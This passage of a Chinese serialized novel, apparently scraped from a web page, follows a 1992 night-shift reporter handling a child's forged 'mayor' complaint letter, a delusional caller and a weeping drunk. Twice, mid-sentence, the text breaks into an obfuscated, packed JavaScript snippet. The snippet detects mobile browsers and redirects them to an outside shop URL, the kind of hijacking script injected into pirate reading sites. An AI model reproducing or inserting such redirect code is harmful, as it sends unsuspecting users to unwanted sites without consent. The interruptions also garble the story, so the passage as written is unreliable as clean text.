门开了又合，冷风像条湿滑的蛇钻进来，绕着叶葆启的脚踝转了一圈。 屋里彻底静了。叶葆启翻开值班本，钢笔尖在纸上沙沙走动，像春蚕在啃食桑叶。他一笔一划地写，横平竖直——这是父亲教的：“字是人的魂，写歪了，魂就散了。”父亲说这话时正蹲在田埂上，用树枝在地上写自己的名字，写了一遍又一遍，直到名字深深刻进泥土里。 写完最后一笔，他抬头看窗。玻璃上凝结的水汽正在往下流淌，形成纵横交错的沟壑，像一张哭泣的脸。他伸手去擦，指尖触到一片冰凉。透过擦拭出的透明窟窿，他看见楼下街道空荡荡的，只有一盏路灯孤零零地站着，灯光在地上投出一个枯黄的光圈，像给某个看不见的东西画的牢。 凌晨一点，敲门声响起。 不是敲，是指甲在木头上抓挠的声音，窸窸窣窣，时断时续，像有什么东西在门外犹豫。 叶葆启起身，皮鞋踩在地板上发出空洞的回响。他拉开门——走廊里空无一人，只有声控灯发出滋滋的电流声，像是垂死者的喘息。 “谁？”他的声音在长廊里回荡，撞到墙壁又弹回来。 无人应答。 他探出半个身子。楼梯口的黑暗浓得像墨，厕所门上的油漆剥落了一大片，露出底下木头的本色，形状像一张扭曲的嘴。正要关门，余光瞥见门槛边有样东西——一个牛皮纸信封，静静地躺在那里，像片枯叶。 他弯腰捡起。信封没封口，边缘毛糙，像是被牙齿撕开的。上面用圆珠笔写了一行字：“记者同志收”。字迹歪斜稚拙，横不平竖不直，有的笔画描了又描，墨迹晕开成一个个蓝黑色的瘤子。 叶葆启关上门，回到炉子旁。火光把信封映得透明，他看见里面折叠的信纸透出的横格线条。抽出来一看，果然是作业本上撕下的纸，边缘锯齿参差，纸上还残留着橡皮擦拭的碎屑。 信的内容让他怔住了： “记者，海东区10经路施工扰民严重，晚上干到两三点，搅拌机声音太大，家里老人孩子睡不着。请你们马上到现场采访，明天登报。明天我看报。” 落款处三个字写得张牙舞爪，但依然能辨认： “市长 XXX” 市长的名字，像三枚生锈的钉子，钉在纸页右下角。 叶葆启盯着那三个字，看了整整一支烟的工夫。烟灰积了长长一截，终于承受不住重量，断裂，飘落，在信纸上烫出一个焦黄的小洞。他笑了，笑声干巴巴的，在空旷的屋里显得突兀。假的，当然是假的。市长不会用三毛钱一本的作业本写信，不会在信纸上留下算术题的痕迹——35+47=82，打着一个鲜红的对勾，像只睁着的眼睛。 可他还是站起来，穿上雨衣。雨衣带着夜的湿气和寒气，贴在身上像第二层皮肤。 “就算是假的，疼是真的。”他自言自语，声音轻得只有自己听见。 骑车去海东区。深夜的风像无数只冰冷的手，从四面八方撕扯他的雨衣。街道两旁的楼房黑黢黢的，窗户像一只只闭着的眼睛。偶尔有辆出租车驶过，尾灯在湿漉漉的路面上拖出两道红色的伤痕，久久不散。 还未到十经路，声音先传来了——那是一种沉闷的、持续的低吼，夹杂着金属碰撞的尖锐嘶鸣。拐过路口，工地赫然出现：探照灯把夜空撕开一个惨白的口子，混凝土搅拌机像头钢铁巨兽蹲在中央，大口大口吞吐着灰色的泥浆。几个工人佝偻着身子在灯光下移动，影子被拉得很长很长，贴在围挡上，像皮影戏里扭曲的角色。 围挡上红布标语在风中猎猎作响：“大干一百天，旧貌换新颜”。每个字都有簸箕那么大，红得刺眼，像是用血写成的。 值班室窗户透出昏黄的光。一个老头趴在桌上睡觉，脸埋在臂弯里，只露出花白的后脑勺。叶葆启敲窗，老头猛地抬头——那张脸布满沟壑，眼袋垂到颧骨，眼睛里布满血丝，像两枚浸泡在药水里的标本。 “找谁？”声音沙哑得像砂纸摩擦铁皮。 “师傅，这么晚还施工？” “赶工期啊。”老头咧开嘴，露出稀疏的黄牙，“领导说了，月底不完，统统滚蛋。” “附近居民没意见？” 老头左右看看，压低声音：“咋没意见？前天还有个老太太来，跪在地上磕头，说心脏病要犯了。”他顿了顿，“可咱有啥法？咱就是拉磨的驴，鞭子抽在谁身上，谁就得转。” 叶葆启站在工地边。搅拌机的轰鸣像无数根针，扎进耳膜，直抵脑仁。他想象这声音钻进居民的梦里，把梦境搅成灰色的泥浆。看看表，凌晨一点四十，正是人睡得最沉的时候。 “不能停会儿？” 老头摇头，摇得很慢，像生锈的机器：“一分钟十块钱，我一个月才挣多少？” 叶葆启没再问。他走到自行车旁，从帆布包里掏出采访本。路灯的光昏黄黯淡，他几乎把眼睛贴在纸面上才能看清字迹。他记下：工地位置、机器数量、噪音估测、最近的居民楼距离——那栋楼就在工地对面，黑着灯，但有三扇窗户透着微弱的光，像三只失眠的眼睛。 骑车回报社。凌晨两点半，城市睡得正熟，只有他的自行车链条发出单调的咔嗒声，像是时间在一点点咬合。 回到记者站，炉火已经奄奄一息。他添了煤，看着黑色煤块慢慢变红，边缘泛起一层幽蓝的火苗，像有什么东西在煤里苏醒。 他开始打电话。 第一个打给建设部门。接电话的年轻人声音里还带着睡意，听说“记者”二字，立刻清醒了，声音拔高八度：“我马上联系！立刻！马上！”叶葆启听见电话那头椅子翻倒的声音。 第二个打给环保部门。值班的是个女同志，声音温和但疲惫。她详细询问了分贝估算、持续时长，最后叹了口气：“我们明天派人去测。但测了又能怎样？罚点款，停工两天，然后又开始了。” 第三个打给海东区总值班室。对方态度最好，记录了每一个细节，最后说：“谢谢您，记者同志。我们常接到投诉，但您是第一个深更半夜亲自去看的。” 挂了电话，凌晨三点十五分。屋里的温度回升了些，炉火正旺，铁皮炉子被烧得微微发红，像一颗跳动的心脏。 叶葆启重新拿起那封信。灯光下，信纸薄如蝉翼，背面的铅笔字迹透过来——“35+47=82”，那个对勾画得极其认真，起笔顿笔都有讲究。是个孩子，可能刚上三年级，做算术题时咬着铅笔头，眉头皱成疙瘩。 他又读了一遍信。“明天我看报”这五个字，每一笔都力透纸背，把纸划破了，露出底下粗糙的纤维。写信的人——不管是孩子还是大人——是真的相信，明天太阳升起时，问题就会白纸黑字印在报纸上，然后被解决。 他把信仔细叠好，放回信封，塞进抽屉最深处。抽屉里还有陈秉烛说的那三页“飞碟目击报告”，纸已经泛黄，边角卷曲。 打开值班本，他写道： “11月15日凌晨1时许，收到一封来信（落款‘市长’），反映海东区10经路施工扰民。经现场核实，搅拌机声如牛吼，探照灯亮如白昼，居民楼近在咫尺。已联系三部门，均承诺处理。” 笔尖在这里停顿。墨水在纸上晕开一个小圆点。他深吸一口气，继续写： “百姓需借市长之名，方能发声；需托记者之手，方能传话。此非正常社会之相，乃时代之暗疮。” 写完这句话，他感到一阵虚脱。不是累，是身体里有什么东西被抽走了，空荡荡的，只剩下心脏在胸腔里沉重地跳动，一下，又一下，像在敲一口锈钟。 窗外天色开始变化。深黑褪成藏青，藏青又稀释成灰白，像有人往墨汁里一瓢一瓢加水。远处传来第一班公交车的引擎轰鸣，清洁工的大扫帚划过路面，沙——沙——沙，像巨兽在舔舐城市的伤口。 凌晨五点，电话响了。是海东区建设部门打来的，还是那个年轻人，但声音里多了几分轻松：“叶记者，工地停了！工头我们严肃批评了！保证以后晚上十点后绝对静音！” “好。” “该我们谢您。”年轻人顿了顿，“其实……那片区我姥姥家就住那儿。她七十多了，有心脏病，这两个月没睡过一个整觉。” 叶葆启握着话筒，想说点什么，喉咙却像被什么堵住了。最后只说：“让老人家好好休息。” 挂了电话，他倒了杯开水。水很烫，他小口小口地嘬，热气扑在脸上，凝结成细密的水珠，顺着脸颊往下淌，分不清是水汽还是别的什么。 六点整，门开了。陈秉烛裹着一身寒气进来，手里塑料袋窸窣作响，透出煎饼果子的油香。 “听说你夜里出去了？”陈秉烛递过一个煎饼果子，油纸烫手。 叶葆启把事情说了。陈秉烛慢慢吃着煎饼，咀嚼得很仔细，每一口都要嚼三十下。吃完最后一口，他才开口，声音平静得像在说别人的事： “葆启，你做得对。信是假的，但疼是真的。记者这行当，就是要在假象里挖真相，在谎言里听真话。” “可我心里堵得慌。” “正常。”陈秉烛点起一支烟，烟雾在晨光中盘旋上升，像一缕游魂，“这世道，真话要披着假皮才能活。咱们改变不了世道，但能一个一个地，把那些喊疼的人扶起来。” 七点，白班的同事陆续来了。叶葆启交班，推着自行车走进晨光里。 雨彻底停了，但天还阴着，云层低垂，像一块脏兮兮的棉被盖在城市上空。早市已经热闹起来，炸油条的香味混着污水沟的馊味，在空气里纠缠不休。自行车铃铛声、小贩叫卖声、婴儿啼哭声，各种声音搅拌在一起，熬成一锅滚烫的、黏稠的都市晨粥。 回到平安胡同，素琴正在晾衣服。院子里横七竖八拉了几道铁丝，挂满了床单、被罩、衣服。湿布料在风里沉重地摆动，往下滴着水，在地上砸出一个个深色的小坑。 “回来了？”素琴头也不回，用力拧着一件衬衫，水珠四溅，“锅里有豆浆，自己盛。” 叶葆启进屋。小舟已经醒了，正自己穿衣服，扣子扣错了位置，衣襟歪斜着，露出一截瘦小的肩膀。 “爸爸！”小舟跑过来，仰着脸，“你昨天抓坏人了吗？” 叶葆启蹲下身，把儿子的扣子解开，重新扣好：“没有坏人。爸爸是去……听人喊疼。” 喝了豆浆，吃了半个馒头，叶葆启躺到床上。身体很累，脑子却异常清醒。他闭上眼睛，就看见那封信在黑暗中漂浮，字迹发着幽蓝的光。然后信纸开始变大，变得像床单那么大，像屋顶那么大，最后整个天空都变成了横格纸，上面写满了歪歪扭扭的“市长”。 他做了个梦。 梦里他变成了市长，坐在一间巨大的办公室里。办公室没有窗户，墙上贴满了各种表格、图表、曲线图。他的办公桌上堆满了信，山一样高，而且还在不断增加。他开始看信，一封接一封，都是老百姓写来的——下水道堵了，路灯坏了，孩子没学上了，老人看病难了……他拿起红笔批阅，写“已阅”“转办”“抓紧处理”。可信越批越多，越堆越高，最后轰然倒塌，把他埋在下面。他在信堆里挣扎，摸到的每一封信都在流血，黏稠的、温热的血，浸透了他的手指…… 惊醒时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904156|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，下午两点。阳光从窗帘缝隙挤进来，在地上切出一道刺眼的白线。他浑身冷汗，手心湿漉漉的，真的像沾了血。 坐起来，发了很久的呆。然后下床，走到桌前，翻开采访本。本子已经用了大半，纸页边缘卷曲，沾着茶渍、油渍，还有一次采访时沾上的泥点。 他翻到新的一页，钢笔在纸上悬停了片刻，终于落下： “1992年11月15日。收到‘市长来信’，实为百姓啼哭。连夜奔走，问题暂解。然心中无喜，唯有悲凉。 陈主任言：救一个是一个。此言悲壮，亦悲凉。 我不知答案。我只知今夜海东区十经路畔，或有老人得以安眠，或有孩童不再噩梦。此即意义，微如萤火，但终究是光。 我将继续守夜，继续接听，继续在城市的毛细血管里穿行。直至某日，这‘市长来信’成为真正的历史笑话。” 合上本子，他走到院里。天不知何时放晴了，太阳明晃晃的，把湿衣服照得半透明。素琴晾的那条蓝格子床单在风里鼓荡，像一面奇怪的旗帜。 素琴从街道办回来，手里拿着一沓表格，脸上带着疲惫的笑。 “醒了？”她把表格扔在桌上，“统计流动人口，跟查户口似的。张三李四王二麻子，从哪里来，到哪里去，为何而来……” “小舟呢？” “幼儿园。”素琴倒了杯水，一饮而尽，喉结急促滚动，“对了，早上海东区建设部门来人了，到街道办了解情况。我一听‘记者夜访’，就知道是你。” “他们怎么说？” “态度好得很，点头哈腰，还说要在街道设个联络点，专门处理施工扰民。”素琴坐下，盯着他看，“葆启，你脸色像张旧报纸。” “没睡踏实。” “不只是没睡踏实。”素琴伸手，掌心贴在他额头，那手掌粗糙温暖，带着肥皂和阳光的味道，“是心里有事，沉甸甸的，压得魂魄都矮了三寸。” 叶葆启便把那封信的细节说了，说那歪扭的字迹，说那作业本上的算术题，说工地上老头垂到颧骨的眼袋。 素琴静静听着，手指无意识地摩挲着茶杯边缘。等他说完，她沉默了很久。院子里有麻雀在啄食晾晒的玉米粒，笃笃笃，声音清脆而固执。 “葆启，”她终于开口，声音很轻，“记得咱刚结婚那年，胡同口下水道堵了不？” “记得。臭水漫了半条街。” “我找居委会，居委会说归房管站；找房管站，房管站说归市政。”素琴笑了笑，那笑容里有种苦涩的智慧，“推来推去半个月，臭气都能熏死苍蝇了。后来我急了，买了信纸信封，落款写了‘督查室’，塞进房管站信箱。第二天，来了三辆工程车，半天就通了。” 叶葆启怔住了。他看着妻子——这个每天和柴米油盐打交道的女人，这个能把一分钱掰成两半花的女人，竟也有这样的“计谋”。 “你……” “我也是没法子。”素琴握住了他的手，她的手很硬，骨节突出，但温暖有力，“老百姓过日子，就像在石头缝里种庄稼。土薄，石头硬，但还得想法子让种子发芽。有时候，就得耍点小聪明，借点他人的名头。” “可这不对。” “是不对。”素琴点头，“可对错是老天爷定的，活路是自己找的。你能做的，就是当好记者，多照亮几个石头缝。能照一寸是一寸，能暖一时是一时。” 叶葆启看着妻子的眼睛。那双眼见过太多——邻里为半尺屋檐打架，夫妻为几块钱反目，老人为一口热饭流泪。眼里有疲惫，有无奈，但深处还有一团火，微弱但坚韧，风吹不灭，雨浇不熄。 “素琴，”他说，“谢谢你。” “两口子，谢啥。”素琴抽回手，站起身，“晚上想吃啥？给你做。” “都行。” 那天晚上，叶葆启亲自下厨做了红烧肉。肉是清晨集市上买的，五花三层，肥瘦相间。他炒糖色时很小心，白糖在热油里融化，泛起琥珀色的泡沫，像无数个小小的、甜蜜的漩涡。肉块下锅时刺啦一声，白气蒸腾，香气瞬间炸开，填满了整个屋子。 小舟吃了两大碗饭，嘴角沾着油光，小脸兴奋得发红：“爸爸做的肉会跳舞！在嘴里跳！” “傻孩子，肉怎么会跳舞。”素琴笑，眼里有光。 “真的！一跳一跳的，香死了！” 叶葆启给儿子夹了块最大的肉，看着小家伙狼吞虎咽。这一刻，屋里温暖的灯光，饭菜的香气，儿子的笑声，妻子眼角的细纹，都变得无比真实，无比珍贵。 吃完饭，叶葆启刷碗，素琴辅导小舟写字。小舟刚学写自己名字，“叶舟”两个字写得东倒西歪，“叶”字那一竖总是写歪，像棵被风吹斜的树；“舟”字那两点老是忘记，素琴就说：“舟没有桨，怎么划呀？”小舟就咯咯笑着补上两点。 “爸爸，看我写的！”小舟举起本子。 叶葆启擦干手，接过本子。字确实歪，但一笔一划都很用力，纸背都被戳出了凹痕。他拿起铅笔，在本子空白处端端正正写下“叶舟”二字：“照着爸爸的写。” 小舟趴下去，小脑袋几乎贴在纸面上，铅笔尖在纸上缓慢移动，发出沙沙的声响，像春蚕在夜里啃食桑叶。 窗外，夜幕彻底落下。平安胡同里家家户户亮起灯，橘黄的光从窗户流出来，在黑暗里切开一道道温暖的口子。远处隐隐约约传来电视声、炒菜声、夫妻拌嘴声、孩子哭闹声——所有这些声音混在一起，成了生活的背景音，粗糙、嘈杂，但生机勃勃。 叶葆启看看表，七点整。该去值夜班了。 他穿上外套，围上素琴织的灰色围巾，走到门口又回头。素琴在灯下补袜子，针线在手指间穿梭；小舟趴在桌上睡着了，铅笔还握在手里，嘴角流下一道晶亮的口水。 “我走了。” “嗯。”素琴头也不抬，“路上当心。” 推着自行车走出胡同。街灯已经亮了，一盏接一盏，向黑暗深处延伸，像一串发光的念珠。他知道，今夜还会有电话响起，还会有人敲门，还会有人用各种方式——真诚的、荒诞的、绝望的、狡猾的——向他诉说这个城市的疼痛。 而他也会继续接听，继续记录，继续在夜色中穿行。不是因为他多么高尚，而是因为这是他的选择，是他与这个时代签订的沉默契约。 自行车碾过湿漉漉的街道，车灯在黑暗中切开一道微弱的光路。光里有飞舞的尘埃，有细小的水珠，有夜里出没的虫豸。这一切都在光中显现，又在光后隐没。 前方，报社大楼的灯火在夜色中矗立，像一座灯塔，也像一座墓碑。 叶葆启深吸一口气，脚下一蹬，自行车向前滑去，融入了城市的夜色，融入了1992年深冬这个潮湿的、荒诞的、却又隐约透着希望的夜晚。 5. 第005章 醉汉与气功 腊月里的内海，冷得像是被遗弃在时间之外的巨兽胃囊。河面上那层薄冰并非静止，它在月光下微微起伏，如同濒死者最后一寸尚温的皮肤。梧桐树的枝桠刺向铁青色天幕，那不是树枝——是无数冻僵的黑色血管，寒鸦落在上面时，“嘎”的一声啼叫会溅出铁锈味的涟漪。 叶葆启值夜班已经两个月了。他学会用黑布蒙眼，棉花塞耳，想象自己正沉入渤海湾最深的海沟。但总有些东西能穿透这些屏障：有时是电话铃声在梦里长成藤蔓缠绕脖颈，有时是父亲退伍那年带回来的军用水壶，在记忆深处发出空洞的回响。 这天晚上，搭档是解平生。内海市体育学院毕业的乒乓球亚军，手掌厚得像熊掌，握起笔来却灵巧得像绣花针。炉子上的铝壶喷着白汽，那汽在空中扭成各种形状，一会儿像龙，一会儿像破了的麻袋。 “葆启，听说你前几天处理了市长来信？”解平生往搪瓷缸里扔进一撮高末，茶叶落在缸底的声音很轻，像远方的枪声。 “嗯。”叶葆启用火钳夹起煤块，煤块上的纹路在火光中像一张张哭丧的脸，“信是假的，但里头的事是真的。真的东西穿上了假的衣裳，比赤裸的真相更叫人难受。” “这世道，真真假假早搅成一锅粥了。”解平生吹开茶沫，“上周我值班，来个老太太，说看见慈禧太后在天上飞，还朝她挥手呢。非让我报道，说‘太后回来了，要复辟了’。” “你怎么说？” “我说，老人家，太后累啦，在遵化的清东陵底下歇着呢，不飞了。她不信，我就给了她张稿纸。你猜怎么着？她写了半夜，临走时把稿纸叠成仙鹤，说‘这鹤能飞到太后手里’。” 两人都笑了，笑声在值班室里撞来撞去，最后碎在墙角。窗外北风呜呜地哭，那哭声里有女人的嗓音，也有婴儿的啼叫。 十点半，电话响了。铃声尖锐得像一根针，扎破了夜晚的膀胱。 “记者同志！我是东铁路宜清花园的！”是个年轻男人的声音，急得快要烧起来，“我对面楼住个姓郭的离婚女人，天天趴在窗户上喊我名字！像叫魂似的！” 叶葆启记录：“东铁路宜清花园，邻里纠纷。”钢笔尖划过纸面，留下蚯蚓般的痕迹，“她为什么喊你？” “我不知道啊！我根本不认识她！”男人的声音开始打旋，“找过派出所，所长说‘这事儿得找报社，我们管不了活人的魂’！” “您贵姓？” “姓国，国佳！国家的国，佳人的佳！” “国同志，您这名字好，听起来像‘国家’。但这事……” “她不是人！”国佳突然压低声音，那声音从电话线里爬出来，带着粘腻的寒意，“她会气功！她发功的时候，我脑袋里像有一窝黄蜂在筑巢！针扎似的疼，从太阳穴扎进去，从眼珠子扎出来！” 叶葆启和解平生对视。解平生用口型说：疯了。 “国同志，头疼该去医院。” “去过了！拍了片子，医生说脑壳里干干净净，比他的良心还干净！”国佳的声音又尖起来，“可她就是能钻进我脑子里！她知道我昨晚吃了韭菜盒子，知道我今早拉屎用了三张纸！她有仪器，肯定有！” 叶葆启明白了。这不是邻里纠纷，是一个人的精神在冬夜里裂开的声音。 “这样，您明天来报社一趟，咱们……” “我现在就去！她的气功波正从窗户缝里钻进来，我看见了，是紫色的！” 电话挂了。忙音“嘟—嘟—”地响，像心跳。 解平生叹口气，那口气很长，长得能从腊月伸到来年开春：“得，今晚的安生又让气功打散了。” 半小时后，人来了。国佳二十五六岁的样子，个子不高，瘦得像根被风吹歪的芦苇秆。军大衣太大，空荡荡地挂在他身上，袖口露出冻得发紫的手腕。他一进屋就抓住叶葆启的手，那手冰得像从河底捞上来的石头。 “记者同志，你们得救我！”他眼睛里的光很烫，烫得不正常，“她要炼我的魂儿！” 叶葆启让他坐下，倒了杯热水。国佳捧着杯子不喝，只是盯着水面，好像水底沉着什么秘密。 “慢慢说。”叶葆启翻开记录本。本子的纸页有些泛黄，像旧年的皮肤。 国佳开始讲述。语速很快，句子和句子之间没有缝隙，像一堵密不透风的墙：女人三十多岁，离婚两年，住在对面三楼；她每天趴在窗口喊“国佳”，有时候半夜也喊，声音透过墙壁时变成绿色的；他去找过，女人不承认，但她家的电视机会在他头疼时自动打开；医院查不出原因，医生说他是神经衰弱，可他明明看见有紫色的气从对面窗口飘过来…… 解平生听得眉头拧成疙瘩。等国佳喘气的间隙，他问：“小国，你现在做什么营生？” “没营生。”国佳低下头，脖子后的脊椎骨一节节凸起，像一串念珠，“以前在北京一个影视公司工作，许是总在音响旁边听配音，那声音把我耳朵里的平衡器震坏了。现在听什么都有回音。” “家里人呢？” “爸妈是做‘小百’的，哦，就是小卖铺，去东北上货去了。”国佳抬起头，眼睛里那片狂热的光烧得更旺了，“记者同志，你们能不能教我一招？能破了她的气功的！” 叶葆启点起一支烟。烟是“恒大”牌的，便宜，呛人。烟雾在灯光下慢慢升起，先是直的，然后开始打旋，旋成一个小小的漩涡。他看着那漩涡，突然有了主意。 “小国，”他弹掉烟灰，“你说她会气功？” “千真万确！” “那你知不知道，气功最怕什么？” “怕什么？” “怕‘金刚罩’。”叶葆启坐直身子，声音压得很低，像在透露一个天大的秘密，“练成了，周身三尺有金刚护着，什么邪气都近不了身。” 国佳的眼睛瞪圆了：“您会？” “会一点皮毛。”叶葆启掐灭烟，烟头在烟灰缸里发出“嘶”的一声轻响，像蛇吐信子，“我师父当年在嵩山少林寺后山，跟一个还俗的和尚学的。本来不传外人，但看你这样……教你了。” 国佳“腾”地站起来，军大衣下摆带倒了椅子。椅子倒地的声音很响，像骨头断裂。 解平生把椅子挪开，腾出块空地。叶葆启站到中间，摆了个架势——其实是第八套广播体操的伸展运动，但他做得很慢，每一个动作都像在推开一扇沉重的石门。 “来，跟我做。”他说。 国佳学得极其认真。抬手时，他想象自己在推开一座山；伸展时，想象自己的手臂在长，一直长到能碰到对面的窗户；呼吸时，他吐出的白气在空气中凝成一小团云，久久不散。 叶葆启一边教，一边编口诀：“气沉丹田，沉到脚后跟；意守心间，守成一块铁。金刚护体，体如铜钟；邪祟不侵，侵者自焚。” 解平生在一旁憋笑，憋得肩膀发抖，脸涨成猪肝色。 教了二十分钟，国佳已经满头大汗。汗水从他额角流下来，流进眼睛，他眨都不眨。那几个动作他反复练习，嘴里念念有词，那声音不大，但每个字都咬得很重，像是要把字钉进空气里。 “好了，”叶葆启说，“今天先教这些。你回去练，每天子时和午时各练一次，练的时候想着你周身有三尺金光。七天后，金光成型，她再也伤不了你。” “谢谢记者同志！”国佳深深鞠躬，腰弯得很低，低到能看见他后颈上有一块胎记，形状像一片枯叶，“您是我的再生父母！” “快回家吧，路上小心。” 国佳走了。脚步声在走廊里回荡，先是很急，然后慢下来，最后变成一种有节奏的“嗒、嗒”声，像是在练习某种步法。 门关上。解平生终于笑出声，笑声像爆豆子：“金刚罩！葆启啊葆启，你他娘的真是个天才！” 叶葆启也笑了，但笑完，嘴角沉下来：“这孩子，脑子里有片海，海啸了。” “这年月，谁脑子里没点风浪？”解平生重新坐下，搪瓷缸里的茶已经凉了，表面结了一层薄薄的膜，“像国佳这样下岗的，还有离婚的，欠债的……心里那点苦没处倒，就发酵，发酵成各种形状。有的是气功，有的是鬼魂，有的是慈禧太后。” 炉子里的煤块“噼啪”响了一声，火星溅出来，有一颗落在叶葆启手背上，烫出一个小小的红点。他没去擦，看着那红点慢慢暗下去，变成褐色。 忽然想起父亲。父亲转业后，在国棉厂当保卫科长。厂里有个女工，丈夫工伤死了，她开始说能听见丈夫在织布机里说话。大家都躲着她，只有父亲每天去和她聊几句，有时候带两个馒头。母亲说：“晦气，死人的魂沾上就甩不掉。”父亲说：“活人的苦比死人的魂重，能分担一点是一点。” 现在，自己也成了这样的人。用谎言编织袈裟，披在疯癫者身上。对不对？他不知道。但他记得国佳离开时的眼神——那眼神里的恐慌暂时退潮了，露出干涸但平静的河床。 凌晨一点，门被撞开了。 一个醉汉踉跄着进来。四十多岁，胖，穿一件油腻的棉袄，棉袄上沾着饭渍和某种可疑的污渍。酒气先于人扑进来，那气味浓得能用刀子切开。 “记者同志！我让人打了！”他拍桌子，桌子上的茶杯跳起来，又落下，“你们管不管！” 叶葆启闻着那味儿就头疼，但声音还是温和的：“谁打您了？” “不知道！”醉汉又拍桌子，这次更用力，指关节上的老茧和桌面碰撞，发出闷响，“我骑自行车路过下瓦房，‘啪’一个耳光！谁打的？不知道！像从地底下伸出来的手！” “那您看清长相了吗？” “黑灯瞎火的，看个屁！”醉汉瞪着眼，眼球上布满血丝，像地图上的河流，“你们就得为我们做主！曝光！把打人的揪出来！揪出来吊在路灯上！” 解平生想说话，叶葆启摇摇头。醉汉是沼泽，越挣扎陷得越深。 “您先喝口水。”叶葆启倒了杯凉白开。水在杯子里微微晃动，晃出细小的波纹。 醉汉不喝，开始长篇大论。说了一刻钟，翻来覆去就是那几句：被人打了，没看清是谁，你们要主持公道。但他的语言在酒精里泡过，变得肿胀而怪异：耳光的声音像“破锣”，打人的手像“鬼爪子”，路灯在他嘴里变成了“挂着人头的竹竿”。 叶葆启等他喊累了，喉咙开始沙哑，才说：“这样，我给派出所打电话。” “不去！派出所都是饭桶！” “那您想怎么办？” “登报！明天就登！头版！标题要这么大——”他用手比划，比划出一个荒谬的尺寸，“《午夜鬼手袭路人，所有路过的人要警惕》！” 叶葆启拿起电话，拨号。瓦房街的值班民警一听就明白了：“又是老邹吧？喝多了就来这套。让他过来，我们这儿有醒酒汤，放了葛花和枳椇子，专治酒疯。” 挂了电话，叶葆启对醉汉说：“派出所请您过去，有醒酒汤。” “不去！我要在这儿等！等打我的人来自首！” “那您坐着，我们还要工作。”叶葆启翻开一本稿子，稿子上是明天的天气预报：晴，西北风三到四级。他把“晴”字描了又描，描成一个黑色的太阳。 醉汉又嚷嚷了一阵，见没人理，声音渐渐低下去。他趴在桌上，开始打鼾。鼾声起初很大，然后变小，变成一种呜咽似的抽泣。哭着哭着，他又抬起头：“我老婆……跟卖豆腐的王磊跑了……儿子说我不是他爹……厂里说我偷铜线，开除我……现在连鬼都打我……” 解平生小声说：“真话都在酒里。” 叶葆启没说话。他看着醉汉，醉汉的脸上有泪痕，那泪痕在昏黄的灯光下像两条小小的河。河床已经干涸多年，今夜终于又有水流动。 电话又响了。这次是个老太太，说楼上漏水，漏下来的水是黄色的，有铁锈味。叶葆启记录，联系房管站。处理完，凌晨两点。 解平生靠在椅背上打盹，头一点一点的，像鸡啄米。叶葆启没有睡意，他拿出采访本，翻到最后一页，开始写： “1992年12月10日。夜。国佳，脑子里住进了一个会气功的女人。教他‘金刚罩’，一套广播体操改成的仪式。他信了，信比药灵。 醉汉老邹，被看不见的手打耳光。那手可能是他老婆的，可能是厂长的，也可能是命运本身的。耳光响亮，但疼的是心里那块早已溃烂的肉。 陈主任说过，夜班是医院的急诊室，来的都是急症。但急诊治标不治本，本在白天，在太阳底下那些我们看不见的裂缝里。 素琴说我心软。也许是吧。在公交车上卖票七年，见过太多这样的瞬间：一个老人上车，手里攥着皱巴巴的毛票；一个母亲抱着熟睡的孩子，孩子的口水湿了她的肩头；一个年轻人盯着窗外，眼睛空得像两只碗。那些瞬间像针，扎进肉里，不疼，但永远留在那儿。 父亲说，做人要正。正字怎么写？一横是天，一横是地，中间一竖是人。人要顶天立地，但也要弯腰看看脚下的泥。” 写完，他合上本子。本子的封皮是黑色人造革的，已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904157|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经磨得发白。窗外，雪开始下了。不是雪花，是雪粒，细小而坚硬，打在玻璃上“沙沙”响，像无数只虫子在啃食夜晚。 凌晨四点，醉汉老邹又回来了。这次醉得更深，站都站不稳，几乎是滚进来的。他一进门就瘫在椅子上，椅子发出不堪重负的呻吟。 “记者……同志……”他大着舌头，舌头像一块泡发的海带，“我找不到……打我的……你们……得管……” 叶葆启和解平生面面相觑。这回是真走不了了。 解平生给派出所打电话，对方说：“马上到，已经在路上了，警车轧着雪呢。” 等警察的时候，老邹开始哭。不是呜咽，是嚎啕，声音大得能把屋顶掀开。他说老婆跟卖豆腐的王磊跑那天，也是下雪，雪是暖的，落在脸上化成水，像眼泪；说儿子小时候骑在他脖子上看扭秧歌，现在见面叫他“老东西”；说厂里那卷铜线不是他偷的，是看门的老孙头，但他不敢说，因为老孙头的儿子在派出所…… “我活着……还有什么意思……”他捶打自己的胸口，捶得“咚咚”响，像敲一面破鼓。 叶葆启默默听着，递过去一沓稿纸。老刘用来擦脸，擦鼻涕，稿纸上印的“内海报头”字样被弄得模糊一片。 半小时后，警察来了，两个年轻民警，帽檐上积着雪。他们一左一右架起老邹：“走，邹师傅，回所里醒醒酒，炕烧热了。” 老邹不肯走，挣扎着，棉袄的扣子崩掉一颗，滚到墙角：“我不去……我要记者同志给我做主……记者是青天……” 民警硬把他架走了。走廊里传来老邹的喊声，那喊声渐渐远去，最后融进风雪里，像糖融进水里。 屋里突然安静下来。炉火将熄未熄，煤块变成暗红色，像冷却的血痂。叶葆启走到窗前，看见警车的尾灯在雪地里拖出两道红色的轨迹，那轨迹很快就被新雪覆盖。 “也是个可怜人。”解平生说。 “嗯。”叶葆启弯腰捡起那颗扣子。扣子是塑料的，黑色，边缘已经磨损。他把它放在桌上，扣子在桌面微微滚动，最后停住，像一个黑色的句号。 